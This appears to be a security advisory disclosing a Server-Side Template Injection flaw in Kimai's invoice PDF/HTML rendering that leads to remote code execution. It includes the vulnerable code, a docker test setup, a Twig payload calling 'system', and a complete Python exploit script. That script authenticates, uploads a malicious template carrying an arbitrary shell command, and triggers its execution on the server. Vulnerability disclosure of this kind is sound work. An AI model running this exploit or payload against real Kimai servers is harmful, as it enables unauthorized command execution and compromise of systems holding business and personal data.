The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.
Snippet of Vulnerable Code:
public function render(array $timesheets, TimesheetQuery $query): Response
{
...
$content = $this->twig->render($this->getTemplate(), array_merge([
'entries' => $timesheets,
'query' => $query,
...
], $this->getOptions($query)));
...
$content = $this->converter->convertToPdf($content, $pdfOptions);
...
return $this->createPdfResponse($content, $context);
}
The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.
In below, you can find the docker-compose file was used for this testing:
version: '3.5'
services:
sqldb:
image: mysql:5.7
environment:
- MYSQL_ROOT_HOST='%'
- MYSQL_DATABASE=kimai
- MYSQL_USER=kimaiuser
- MYSQL_PASSWORD=kimaipassword
- MYSQL_ROOT_PASSWORD=changemeplease
ports:
- 3336:3306
volumes:
- mysql:/var/lib/mysql
command: --default-storage-engine innodb
restart: unless-stopped
healthcheck:
test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1
interval: 20s
start_period: 10s
timeout: 10s
retries: 3
nginx:
image: tobybatch/nginx-fpm-reverse-proxy
ports:
- 8001:80
volumes:
- public:/opt/kimai/public:ro
restart: unless-stopped
depends_on:
- kimai
healthcheck:
test: wget --spider http://nginx/health || exit 1
interval: 20s
start_period: 10s
timeout: 10s
retries: 3
kimai: # This is the latest FPM image of kimai
image: kimai/kimai2:fpm-prod
environment:
- ADMINMAIL=admin@kimai.local
- ADMINPASS=changemeplease
- DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai
- TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2
- memory_limit=1024
volumes:
- public:/opt/kimai/public
# - var:/opt/kimai/var
# - ./ldap.conf:/etc/openldap/ldap.conf:z
# - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z
restart: unless-stopped
phpmyadmin:
image: phpmyadmin
restart: always
ports:
- 8081:80
environment:
- PMA_ARBITRARY=1
postfix:
image: catatnight/postfix:latest
environment:
maildomain: neontribe.co.uk
smtp_user: kimai:kimai
restart: unless-stopped
volumes:
var:
public:
mysql:
Steps to Reproduce (Manually):
1- Upload a malicious Twig file to the server containing the following payload {{['id>/tmp/pwned']|map('system')|join}}
2- Trigger the SSTI vulnerability by downloading the invoices.
3- The malicious code gets executed, leading to RCE.
4- /tmp/pwned file will be created on the target system
I've also attached an automated script to ease up the process of reproducing: # Proof of Concept
import requests
import re
import string
import random
import sys
session = requests.session()
BASE_URL = sys.argv[1]
def generate(size=6, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def get_csrf(path, session):
try:
project_id = ""
csrf_token = ""
preview_id = ""
template_ids = []
activity_customer_list = []
csrf_login_response = session.get(f"{BASE_URL}{path}").text
# Extract CSRF Token
pattern = re.compile(r'<input[^>]*?name=["\'].*?token[^"\']*["\'][^>]*?value=["\'](.*?)["\'][^>]*?>', re.IGNORECASE)
match = pattern.search(csrf_login_response)
if match:
csrf_token = match.group(1)
if "performSearch" in path:
preview_pattern = re.compile(r'<div[^>]*id="preview-token"[^>]*data-value="(.*?)"[^>]*>', re.IGNORECASE)
preview_match = preview_pattern.search(csrf_login_response)
if preview_match:
preview_id = preview_match.group(1)
template_pattern = re.compile(r'<option value="(\d+)" selected="selected">', re.IGNORECASE)
template_matches = template_pattern.findall(csrf_login_response)
if template_matches:
template_ids = [int(id) for id in template_matches]
if "timesheet" in path:
option_pattern = re.compile(r'<option value="(\d+)" data-customer="(\d+)" data-currency="EUR">', re.IGNORECASE)
option_matches = option_pattern.findall(csrf_login_response)
if option_matches:
activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]
if "project" in path or "activity" in path:
project_id_match = re.search(r'<option value="(\d+)"[^>]*data-currency="EUR"[^>]*>', csrf_login_response)
if project_id_match:
project_id = project_id_match.group(1)
return csrf_token, project_id, preview_id, template_ids, activity_customer_list
except Exception as e:
print(f"Error occurred: {e}")
return None, None, None, None, None
def login(username,password,csrf,session):
try:
params = {"_username": username, "_password": password, "_csrf_token": csrf}
login_response = session.post(f"{BASE_URL}/login_check", data=params, allow_redirects=True)
if "I forgot my password" not in login_response.text:
print(f"[+] Logged in: {username}")
return session
else:
print("Wrong username,password", username)
exit(1)
except Exception as e:
print(str(e))
pass
def create_customer(token,name,session):
try:
data = {
'customer_edit_form[name]': (None, name),
'customer_edit_form[color]': (None, ''),
'customer_edit_form[comment]': (None, 'xx'),
'customer_edit_form[address]': (None, 'xx'),
'customer_edit_form[company]': (None, ''),
'customer_edit_form[number]': (None, '0002'),
'customer_edit_form[vatId]': (None, ''),
'customer_edit_form[country]': (None, 'DE'),
'customer_edit_form[currency]': (None, 'EUR'),
'customer_edit_form[timezone]': (None, 'UTC'),
'customer_edit_form[contact]': (None, ''),
'customer_edit_form[email]': (None, ''),
'customer_edit_form[homepage]': (None, ''),
'customer_edit_form[mobile]': (None, ''),
'customer_edit_form[phone]': (None, ''),
'customer_edit_form[fax]': (None, ''),
'customer_edit_form[budget]': (None, '0.00'),
'customer_edit_form[timeBudget]': (None, '0:00'),
'customer_edit_form[budgetType]': (None, ''),
'customer_edit_form[visible]': (None, '1'),
'customer_edit_form[billable]': (None, '1'),
'customer_edit_form[invoiceTemplate]': (None, ''),
'customer_edit_form[invoiceText]': (None, ''),
'customer_edit_form[_token]': (None, token),
}
response = session.post(f"{BASE_URL}/admin/customer/create", files=data)
except Exception as e:
print(str(e))
def create_project(token, name,project_id ,session):
try:
form_data = {
'project_edit_form[name]': (None, name),
'project_edit_form[color]': (None, ''),
'project_edit_form[comment]': (None, ''),
'project_edit_form[customer]': (None, project_id),
'project_edit_form[orderNumber]': (None, ''),
'project_edit_form[orderDate]': (None, ''),
'project_edit_form[start]': (None, ''),
'project_edit_form[end]': (None, ''),
'project_edit_form[budget]': (None, '0.00'),
'project_edit_form[timeBudget]': (None, '0:00'),
'project_edit_form[budgetType]': (None, ''),
'project_edit_form[visible]': (None, '1'),
'project_edit_form[billable]': (None, '1'),
'project_edit_form[globalActivities]': (None, '1'),
'project_edit_form[invoiceText]': (None, ''),
'project_edit_form[_token]': (None, token)
}
response = session.post(f"{BASE_URL}/admin/project/create", files=form_data)
except Exception as e:
print(str(e))
def create_activity(token, name,project_id ,session):
try:
form_data = {
'activity_edit_form[name]': (None, name),
'activity_edit_form[color]': (None, ''),
'activity_edit_form[comment]': (None, ''),
'activity_edit_form[project]': (None, ''),
'activity_edit_form[budget]': (None, '0.00'),
'activity_edit_form[timeBudget]': (None, '0:00'),
'activity_edit_form[budgetType]': (None, ''),
'activity_edit_form[visible]': (None, '1'),
'activity_edit_form[billable]': (None, '1'),
'activity_edit_form[invoiceText]': (None, ''),
'activity_edit_form[_token]': (None, token),
}
response = session.post(f"{BASE_URL}/admin/activity/create", files=form_data)
if response.status_code == 201:
print(f"[+] Activity created: {name}")
except Exception as e:
print(f"An error occurred: {str(e)}")
def upload_malicious_document(token,session):
try:
form_data = {
'invoice_document_upload_form[document]': ('din.pdf.twig', f"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>", 'text/x-twig'),
'invoice_document_upload_form[_token]': (None, token)
}
response = session.post(f"{BASE_URL}/invoice/document_upload", files=form_data)
if ".pdf.twig" in response.text:
print("[+] Twig uploaded successfully!")
else:
print("[-] Error while uploading, exiting..")
exit(1)
except Exception as e:
print(f"An error occurred: {str(e)}")
import re
def create_malicious_template(token, name, session):
try:
data = {
'invoice_template_form[name]': name,
'invoice_template_form[title]': name,
'invoice_template_form[company]': name,
'invoice_template_form[vatId]': '',
'invoice_template_form[address]': '',
'invoice_template_form[contact]': '',
'invoice_template_form[paymentTerms]': '',
'invoice_template_form[paymentDetails]': '',
'invoice_template_form[dueDays]': '30',
'invoice_template_form[vat]': '0.000',
'invoice_template_form[language]': 'en',
'invoice_template_form[numberGenerator]': 'default',
'invoice_template_form[renderer]': 'din',
'invoice_template_form[calculator]': 'default',
'invoice_template_form[_token]': token
}
response = session.post(f"{BASE_URL}/invoice/template/create", data=data)
# Define the regex pattern to capture the template ID and match the name
pattern = re.compile(fr'<tr class="modal-ajax-form open-edit" data-href="/en/invoice/template/(\d+)/edit">\s*<td class="alwaysVisible col_name">{re.escape(name)}</td>', re.DOTALL)
# Search the response text with the regex pattern
match = pattern.search(response.text)
if match:
template_id = match.group(1) # Extract the captured group
print(f"[+] Malicious Template: {name}, Template ID: {template_id}")
return template_id # Return the captured template ID
else:
print("[-] Failed to capture the template ID")
create_malicious_template(token,name,session)
except Exception as e:
print(f"An error occurred: {str(e)}")
exit(1)
def create_timesheet(token, activity, project, session):
form_data = {
'timesheet_edit_form[begin_date]': (None, '01/01/1980'),
'timesheet_edit_form[begin_time]': (None, '12:00 AM'),
'timesheet_edit_form[duration]': (None, '0:15'),
'timesheet_edit_form[end_time]': (None, '12:15 AM'),
'timesheet_edit_form[customer]': (None, ''),
'timesheet_edit_form[project]': (None, project),
'timesheet_edit_form[activity]': (None, activity),
'timesheet_edit_form[description]': (None, ''),
'timesheet_edit_form[fixedRate]': (None, ''),
'timesheet_edit_form[hourlyRate]': (None, ''),
'timesheet_edit_form[billableMode]': (None, 'auto'),
'timesheet_edit_form[_token]': (None, token)
}
response = session.post(f"{BASE_URL}/timesheet/create", files=form_data,allow_redirects=False)
if response.status_code == 302: # Changed to 200 as 301 is for redirection
print(f"[+] Created a new timesheet")
##############################
# login
csrf, _, _, _, _ = get_csrf("/login", session)
# login("admin", "password", csrf, session)
login(sys.argv[2],sys.argv[3],csrf,session)
# create new customer
get_customer_token, _, _, _, _ = get_csrf("/admin/customer/create", session)
customer_name = generate()
create_customer(get_customer_token, customer_name, session)
# create new project with customer_name
get_project_token, customer_id, _, _, _ = get_csrf("/admin/project/create", session)
project_name = generate()
create_project(get_project_token, project_name, customer_id, session)
# create new activity
get_activity_token, project_id, _, _, _ = get_csrf("/admin/activity/create", session)
activity_name = generate()
create_activity(get_activity_token, activity_name, project_id, session)
# EXPLOIT
######################
# upload malicious file
upload_token, _, _, _, _ = get_csrf("/invoice/document_upload", session)
upload_malicious_document(upload_token, session)
# create malicious template to trigger the SSTI
get_template_token, _, _, _, _ = get_csrf("/invoice/template/create", session)
template = generate()
temp_id = create_malicious_template(get_template_token, template, session)
# create a timesheet with project_id and activity_id
activity_customer_list = get_csrf("/timesheet/create", session)[4] # get the activity_customer_list from get_csrf function
print(f"[+] Constructing renderer URLs..")
# iterate through all relative project_ids and customer_id for exploit stabiliy
for activity_id, customer_id in activity_customer_list:
csrf = get_csrf("/timesheet/create", session)[0] # Update CSRF token for each iteration
print(f"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}")
create_timesheet(csrf, activity_id, customer_id, session)
postData = {
"searchTerm": "",
"daterange": "",
"state": "1",
"billable": "0",
"exported": "1",
"orderBy": "begin",
"order": "DESC",
"exporter": "pdf"
}
# export timesheets so they appear in exported invoices
export = session.post(f"{BASE_URL}/timesheet/export/", data=postData).text
if "PDF-1.4" in export:
csrf, _, _, _, _ = get_csrf("/invoice/", session)
# get preview token to construct the preview URL to trigger SSTI
csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&_token={csrf}&template={temp_id}", session)
for template_id in template_ids:
rendererURL = f"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=&daterange=&exported=1&template={temp_id}&invoiceDate=&_token={csrf}&customers[]={customer_id}"
# trigger the payload by visiting the renderer URL
rce = session.get(rendererURL)
if "PDF-1.4" in rce.text:
print(rendererURL)
print("[+] successfully executed payload")
# save the pdf locally since rendered URL will expire as soon as we end the session
pdf = f"{generate()}.pdf"
with open(pdf,'wb') as pdfFile:
pdfFile.write(rce.content)
pdfFile.flush()
pdfFile.close()
print(f"[+] Saved results with name: {pdf}")
exit(1)
print("[-] Failed to execute payload, try to trigger manually..")
which can be executed as such:
$ python3 spl0it.py http://localhost:8001/en admin password "ls -la"
this will download the rendered file which will contain the results of the RCE:
Remote Code Execution
{ "nvd_published_at": "2023-10-31T16:15:09Z", "cwe_ids": [ "CWE-1336" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2023-10-30T15:40:04Z" }